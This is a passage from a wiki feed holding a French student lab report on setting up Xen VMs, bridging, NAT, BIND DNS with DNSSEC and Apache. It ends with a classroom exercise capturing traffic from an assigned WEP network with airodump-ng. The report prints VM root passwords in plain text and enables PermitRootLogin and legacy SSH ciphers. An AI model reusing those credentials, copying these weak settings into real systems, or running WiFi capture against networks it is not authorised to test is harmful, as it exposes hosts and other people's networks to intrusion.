Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3&lt;br /&gt;
&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme wlan1.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;               &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:54 -c4 --write log_airodump&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12120</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12120"/>
		<updated>2026-02-09T14:58:43Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
